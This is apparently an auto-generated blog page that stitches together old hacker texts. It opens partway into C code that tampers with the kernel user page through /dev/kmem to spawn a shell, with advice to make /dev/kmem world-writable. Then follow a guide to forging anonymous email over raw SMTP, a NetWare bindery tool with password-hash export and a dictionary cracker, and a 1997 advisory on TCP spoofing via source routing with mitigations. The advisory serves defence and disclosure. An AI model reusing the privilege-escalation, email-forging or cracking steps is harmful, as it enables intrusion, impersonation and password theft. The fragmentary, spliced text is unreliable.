write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } }
} /* End main */
#include #include #include
#define LNULL ((LDFILE *)0)
long address(){
LDFILE *object; SYMENT symbol; long idx=0;
object=ldopen("/unix",LNULL);
if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); }
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value); ldclose(object); return(symbol.n_value); } }
fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); }
[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:
chmod 666 /dev/kmem sleep 300 # Nap for 5 minutes chmod 600 /dev/kmem # Or whatever it was before
From The Infinity Concept Issue II
Post created with BlogHatter - Blogger Autoblogging Tool
miercuri, 22 septembrie 2010
Welcome to Hackerdevil's guide on how to send ANONYMOUS e-mails to someone without a prog.
I am Hackerdevil and i am going to explain ya a way to send home-made e-mails. I mean its a way to send Annonimous e-mails without a program, it doesn't take to much time and its cool and you can have more knowledge than with a stupid program that does all by itself.
This way (to hackers) is old what as you are newby to this stuff, perhaps you may like to know how these anonymailers work, (home-made)
Well..... Go to Start, then Run... You have to Telnet (Xserver) on port 25
Well, (In this Xserver) you have to put the name of a server without the ( ) of course... Put in iname.com in (Xserver) because it always work it is a server with many bugs in it. (25) mail port.
So now we are like this.
telnet iname.com 25
and then you hit enter Then When you have telnet open put the following like it is written
helo
and the machine will reply with smth.
Notice for newbies: If you do not see what you are writing go to Terminal's menu (in telnet) then to Preferences and in the Terminal Options you tick all opctions available and in the emulation menu that's the following one you have to tick the second option. Now you will se what you are writing.
then you put:
mail from:
Example: mail from:
You hit enter and then you put:
rcpt to:
Then you hit enter And you type Data and hit enter once more
Then you write
Subject:whetever
And you hit enter
you write your mail
hit enter again (boring)
you put a simple: .
Yes you don't see it its the little fucking point! and hit enter Finally you write quit hit enter one more time and it's done
look:Try first do it with yourself I mean mail annonymously yourself so you can test it! Don't be asshole and write fucking e-mails to big corps. bec' its symbol of stupidity and childhood and it has very very effect on Hackers they will treat you as a Lamer!
Really i don't know why i wrote this fucking disclaimer, but i don't want to feel guilty if you get into trouble....
Disclamer:Hackerdevil is not responsable for whetever you do with this info. you can destribute this but you are totally forbidden to take out the "By Hackerdevil" line. You can't modify or customize this text and i am also not responsable if you send an e-mail to an important guy and insult him, and i rectly advise you that this is for educational porpouses only my idea is for learning and having more knowledge, you can not get busted with this stuff but i don't take care if it anyway happen to you. If this method is new for ya probably you aren't a hacker so think that if someone wrote you an e-mail "yourbestfirend@aol.com" insulting you and it wasn't him it but was some guy using a program or this info you won't like it. so Use this method if you don't care a a damn hell or if you like that someone insult you.
By Hackerdevil
hackerdevil@iname.com www.angelfire.com/ar/HDanzi/index.html
Posted with BlogHatter - how to blog and make money
marți, 21 septembrie 2010
3 November 1995
Accessing the bindery files directly
Alastair Grant, Cambridge University
1. Introduction
This document describes a command for accessing the NetWare 3.x bindery files directly, bypassing the NetWare network API calls.
It can be used for fast bindery access, bulk user management, bypassing security restrictions, investigating problems etc.
It is quite possible to destroy the bindery completely, or to reveal information which could be used by hackers to obtain passwords. Users are assumed to have a basic grasp of good procedures for security and backup.
2. Command syntax
The basic format of the command is
bindery [options] bindery-spec action action ...
2.1 Specifying a bindery
A bindery specification takes the form
path/.extension
E.g. SYS:SYSTEM/.SYS. The path defaults to the current directory. The extension defaults to .OLD.
Alternatively an 'active' bindery can be specified:
SERVER server
The bindery will be closed if necessary.
2.2 Actions on the bindery
INFO print info about the bindery SCHEMA checks the bindery against the schema in BINDERY.SCH DUMP obj dump all information for the specified object(s) OBJ list all object records PROP list all property records VAL list all value records VALDATA list all value records, with data EXPORT export the bindery to a text file; see below IMPORT import the bindery from a text file ETC export user password information, suitable for input to the password-cracking program described below
The following actions apply only if a bindery has been specified by the SERVER parameter: CLOSE close the bindery, i.e. make it available for direct access; users attempting to access the bindery via NetWare API calls will receive an error OPEN open the bindery, which causes the server to reload it and may take some time for large binderies COPY directory copy the bindery files into a directory elsewhere
3. Export/import
The bindery can be exported to and imported from a text file. This can be used for various purposes:
- problem diagnosis and repair
- creation of large binderies given a set of user information
- compaction of binderies
- merging binderies or moving users between binderies while preserving their passwords
To see the format of the export file, try exporting a small bindery.
4. Password cracking
Passwords are not stored in clear in the bindery. What is stored is a 16-byte value computed via a one-way function from the user's object id and the password. Given the object id and password it is possible to generate a candidate password which can be compared against that in the bindery.
The ETC option of the BINDERY command produces a file containing the required information, in a format superficially similar to /etc/passwd on Unix:
userid:pw-hash:object-id:pw-len:name::
e.g.
ttidy:32d8998e098a05830f809b809ea02137:D0000001:8:Terry Tidy
This can then be input into bindery cracking programs. Separating the functions in this way allows various forms of parallelism:
- the password file can be split into smaller chunks
- the same password file can be worked on by several cracking programs each with different dictionaries or algorithms
- cracking programs can be run on faster machines
A cracking program BINCRACK is provided which takes such a file as input. It has command syntax:
bincrack [/verify] [/numsub] pw-file dict-file
/verify lists the passwords that are being tried. /numsub tries substituting numbers for letters, e.g. "1D10T". This takes a lot longer as all possible combinations are tried. pw-file is an exported bindery password file. dict-file is a simple word list.
Versions are available for MS-DOS and for Solaris 1 and Solaris 2 SPARC systems.
Suitable wordlists can be found at
ftp://ftp.ox.ac.uk/pub/wordlists/
Posted with BlogHatter - make money with a blog
luni, 20 septembrie 2010
A simple TCP spoofing attack
Over the past few years TCP sequence number prediction attacks have become a real threat against unprotected networks, taking advantage of the inherent trust relationships present in many network installations. TCP sequence number prediction attacks have most commonly been implemented by opening a series of connections to the target host, and attempting to predict the sequence number which will be used next. Many operating systems have therefore attempted to solve this problem by implementing a method of generating sequence numbers in unpredictable fashions. This method does not solve the problem.
This advisory introduces an alternative method of obtaining the initial sequence number from some common trusted services. The attack presented here does not require the attacker to open multiple connections, or flood a port on the trusted host to complete the attack. The only requirement is that source routed packets can be injected into the target network with fake source addresses.
This advisory assumes that the reader already has an understanding of how TCP sequence number prediction attacks are implemented.
The impact of this advisory is greatly diminished due to the large number of organizations which block source routed packets and packets with addresses inside of their networks. Therefore we present the information as more of a 'heads up' message for the technically inclined, and to re-iterate that the randomization of TCP sequence numbers is not an effective solution against this attack.
Technical Details ~~~~~~~~~~~~~~~~~
The problem occurs when particular network daemons accept connections with source routing enabled, and proceed to disable any source routing options on the connection. The connection is allowed to continue, however the reverse route is no longer used. An example attack can launched against the in.rshd daemon, which on most systems will retrieve the socket options via getsockopt() and then turn off any dangerous options via setsockopt().
An example attack follows.
Host A is the trusted host Host B is the target host Host C is the attacker
Host C initiates a source routed connection to in.rshd on host B, pretending to be host A.
Host C spoofing Host A
Host B receives the initial SYN packet, creates a new PCB (protocol control block) and associates the route with the PCB. Host B responds, using the reverse route, sending back a SYN/ACK with the sequence number.
Host C spoofing Host A <--
Host C responds, still spoofing host A, acknowledging the sequence number. Source routing options are not required on this packet.
Host C spoofing Host A
We now have an established connection, the accept() call completes, and control is now passed to the in.rshd daemon. The daemon now does IP options checking and determines that we have initiated a source routed connection. The daemon now turns off this option, and any packets sent thereafter will be sent to the real host A, no longer using the reverse route which we have specified. Normally this would be safe, however the attacking host now knows what the next sequence number will be. Knowing this sequence number, we can now send a spoofed packet without the source routing options enabled, pretending to originate from Host A, and our command will be executed.
In some conditions the flooding of a port on the real host A is required if larger ammounts of data are sent, to prevent the real host A from responding with an RST. This is not required in most cases when performing this attack against in.rshd due to the small ammount of data transmitted.
It should be noted that the sequence number is obtained before accept() has returned and that this cannot be prevented without turning off source routing in the kernel.
As a side note, we're very lucky that TCP only associates a source route with a PCB when the initial SYN is received. If it accepted and changed the ip options at any point during a connection, more exotic attacks may be possible. These could include hijacking connections across the internet without playing a man in the middle attack and being able to bypass IP options checking imposed by daemons using getsockopt(). Luckily *BSD based TCP/IP stacks will not do this, however it would be interesting to examine other implementations.
Impact ~~~~~~
The impact of this attack is similar to the more complex TCP sequence number prediction attack, yet it involves fewer steps, and does not require us to 'guess' the sequence number. This allows an attacker to execute arbitrary commands as root, depending on the configuration of the target system. It is required that trust is present here, as an example, the use of .rhosts or hosts.equiv files.
Solutions ~~~~~~~~~
The ideal solution to this problem is to have any services which rely on IP based authentication drop the connection completely when initially detecting that source routed options are present. Network administrators and users can take precautions to prevent users outside of their network from taking advantage of this problem. The solutions are hopefully already either implemented or being implemented.
1. Block any source routed connections into your networks 2. Block any packets with internal based address from entering your network.
Network administrators should be aware that these attacks can easily be launched from behind filtering routers and firewalls. Internet service providers and corporations should ensure that internal users cannot launch the described attacks. The precautions suggested above should be implemented to protect internal networks.
Example code to correctly process source routed packets is presented here as an example. Please let us know if there are any problems with it. This code has been tested on BSD based operating systems.
u_char optbuf[BUFSIZ/3]; int optsize = sizeof(optbuf), ipproto, i; struct protoent *ip;
if ((ip = getprotobyname("ip")) != NULL) ipproto = ip->p_proto; else ipproto = IPPROTO_IP; if (!getsockopt(0, ipproto, IP_OPTIONS, (char *)optbuf, &optsize) && optsize != 0) { for (i = 0; i < optsize; ) { u_char c = optbuf[i]; if (c == IPOPT_LSRR || c == IPOPT_SSRR) exit(1); if (c == IPOPT_EOL) break; i += (c == IPOPT_NOP) ? 1 : optbuf[i+1]; } }
One critical concern is in the case where TCP wrappers are being used. If a user is relying on TCP wrappers, the above fix should be incorporated into fix_options.c. The problem being that TCP wrappers itself does not close the connection, however removes the options via setsockopt(). In this case when control is passed to in.rshd, it will never see any options present, and the connection will remain open (even if in.rshd has the above patch incorporated). An option to completely drop source routed connections will hopefully be provided in the next release of TCP wrappers. The other option is to undefine KILL_IP_OPTIONS, which appears to be undefined by default. This passes through IP options and allows the called daemon to handle them accordingly.
Disabling Source Routing ~~~~~~~~~~~~~~~~~~~~~~~~
We believe the following information to be accurate, however it is not guaranteed.
--- Cisco
To have the router discard any datagram containing an IP source route option issue the following command:
no ip source-route
This is a global configuration option.
--- NetBSD
Versions of NetBSD prior to 1.2 did not provide the capability for disabling source routing. Other versions ship with source routing ENABLED by default. We do not know of a way to prevent NetBSD from accepting source routed packets. NetBSD systems, however, can be configured to prevent the forwarding of packets when acting as a gateway.
To determine whether forwarding of source routed packets is enabled, issue the following command:
# sysctl net.inet.ip.forwarding # sysctl net.inet.ip.forwsrcrt
The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.
Forwarding of source routed packets can be turned off via:
# sysctl -w net.inet.ip.forwsrcrt=0
Forwarding of all packets in general can turned off via:
# sysctl -w net.inet.ip.forwarding=0
--- BSD/OS
BSDI has made a patch availible for rshd, rlogind, tcpd and nfsd. This patch is availible at:
ftp://ftp.bsdi.com/bsdi/patches/patches-2.1
OR via their patches email server
The patch number is U210-037 (normal version) D210-037 (domestic version for sites running kerberized version)
BSD/OS 2.1 has source routing disabled by default
Previous versions ship with source routing ENABLED by default. As far as we know, BSD/OS cannot be configured to drop source routed packets destined for itself, however can be configured to prevent the forwarding of such packets when acting as a gateway.
To determine whether forwarding of source routed packets is enabled, issue the following command:
# sysctl net.inet.ip.forwarding # sysctl net.inet.ip.forwsrcrt
The response will be either 0 or 1, 0 meaning off, and 1 meaning it is on.
Forwarding of source routed packets can be turned off via:
# sysctl -w net.inet.ip.forwsrcrt=0
Forwarding of all packets in general can turned off via:
# sysctl -w net.inet.ip.forwarding=0
--- OpenBSD
Ships with source routing turned off by default. To determine whether source routing is enabled, the following command can be issued:
# sysctl net.inet.ip.sourceroute
The response will be either 0 or 1, 0 meaning that source routing is off, and 1 meaning it is on. If source routing has been turned on, turn off via:
# sysctl -w net.inet.ip.sourceroute=0
This will prevent OpenBSD from forwarding and accepting any source routed packets.
--- FreeBSD
Ships with source routing turned off by default. To determine whether source routing is enabled, the following command can be issued:
# sysctl net.inet.ip.sourceroute
The response will be either 0 or 1, 0 meaning that source routing is off, and 1 meaning it is on. If source routing has been turned on, turn off via:
# sysctl -w net.inet.ip.sourceroute=0
--- Linux
Linux by default has source routing disabled in the kernel.
--- Solaris 2.x
Ships with source routing enabled by default. Solaris 2.5.1 is one of the few commercial operating systems that does have unpredictable sequence numbers, which does not help in this attack.
We know of no method to prevent Solaris from accepting source routed connections, however, Solaris systems acting as gateways can be prevented from forwarding any source routed packets via the following commands:
# ndd -set /dev/ip ip_forward_src_routed 0
You can prevent forwarding of all packets via:
# ndd -set /dev/ip ip_forwarding 0
These commands can be added to /etc/rc2.d/S69inet to take effect at bootup.
--- SunOS 4.x
We know of no method to prevent SunOS from accepting source routed connections, however a patch is availible to prevent SunOS systems from forwarding source routed packets.
This patch is availible at:
ftp://ftp.secnet.com/pub/patches/source-routing-patch.tar.gz
To configure SunOS to prevent forwarding of all packets, the following command can be issued:
# echo "ip_forwarding/w 0" | adb -k -w /vmunix /dev/mem # echo "ip_forwarding?w 0" | adb -k -w /vmunix /dev/mem
The first command turns off packet forwarding in /dev/mem, the second in /vmunix.
--- HP-UX
HP-UX does not appear to have options for configuring an HP-UX system to prevent accepting or forwarding of source routed packets. HP-UX has IP forwarding turned on by default and should be turned off if acting as a firewall. To determine whether IP forwarding is currently on, the following command can be issued:
# adb /hp-ux ipforwarding?X <- user input ipforwarding: ipforwarding: 1 #
A response of 1 indicates IP forwarding is ON, 0 indicates off. HP-UX can be configured to prevent the forwarding of any packets via the following commands:
# adb -w /hp-ux /dev/kmem ipforwarding/W 0 ipforwarding?W 0 ^D #
--- AIX
AIX cannot be configured to discard source routed packets destined for itself, however can be configured to prevent the forwarding of source routed packets. IP forwarding and forwarding of source routed packets specifically can be turned off under AIX via the following commands:
To turn off forwarding of all packets:
# /usr/sbin/no -o ipforwarding=0
To turn off forwarding of source routed packets:
# /usr/sbin/no -o nonlocsrcroute=0
Note that these commands should be added to /etc/rc.net
If shutting off source routing is not possible and you are still using services which rely on IP address authentication, they should be disabled immediately (in.rshd, in.rlogind). in.rlogind is safe if .rhosts and /etc/hosts.equiv are not used.
Attributions ~~~~~~~~~~~~
Thanks to Niels Provos
Thanks to Theo de Raadt, the maintainer of OpenBSD for forwarding this information to us. More information on OpenBSD can be found at http://www.openbsd.org
Thanks to Keith Bostic
Thanks to Brad Powell
Thanks go to CERT and AUSCERT for recommendations in this advisory.
You can contact the author of this advisory at oliver@secnet.com
-----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3ia
mQCNAzJATn0AAAEEAJeGbZyoCw14fCoAMeBRKiZ3L6JMbd9f4BtwdtYTwD42/Uz1 A/4UiRJzRLGhARpt1J06NVQEKXQDbejxGIGzAGTcyqUCKH6yNAncqoep3+PKIQJd Kd23buvbk7yUgyVlqQHDDsW0zMKdlSO7rYByT6zsW0Rv5JmHJh/bLKAOe7p9AAUR tCVPbGl2ZXIgRnJpZWRyaWNocyA8b2xpdmVyQHNlY25ldC5jb20+iQCVAwUQMkBO fR/bLKAOe7p9AQEBOAQAkTXiBzf4a31cYYDFmiLWgXq0amQ2lsamdrQohIMEDXe8 45SoGwBzXHVh+gnXCQF2zLxaucKLG3SXPIg+nJWhFczX2Fo97HqdtFmx0Y5IyMgU qRgK/j8KyJRdVliM1IkX8rf3Bn+ha3xn0yrWlTZMF9nL7iVPBsmgyMOuXwZ7ZB8= =xq4f -----END PGP PUBLIC KEY BLOCK-----
Copyright Notice ~~~~~~~~~~~~~~~~ The contents of this advisory are Copyright (C) 1997 Secure Networks Inc, and may be distributed freely provided that no fee is charged for distribution, and that proper credit is given.
You can find Secure Networks papers at ftp://ftp.secnet.com/pub/papers and advisories at ftp://ftp.secnet.com/advisories
You can browse our web site at http://www.secnet.com
You can subscribe to our security advisory mailing list by sending mail to majordomo@secnet.com with the line "subscribe sni-advisories"
Posted with BlogHatter - how to blog and make money
Abonați-vă la:
Postări (Atom)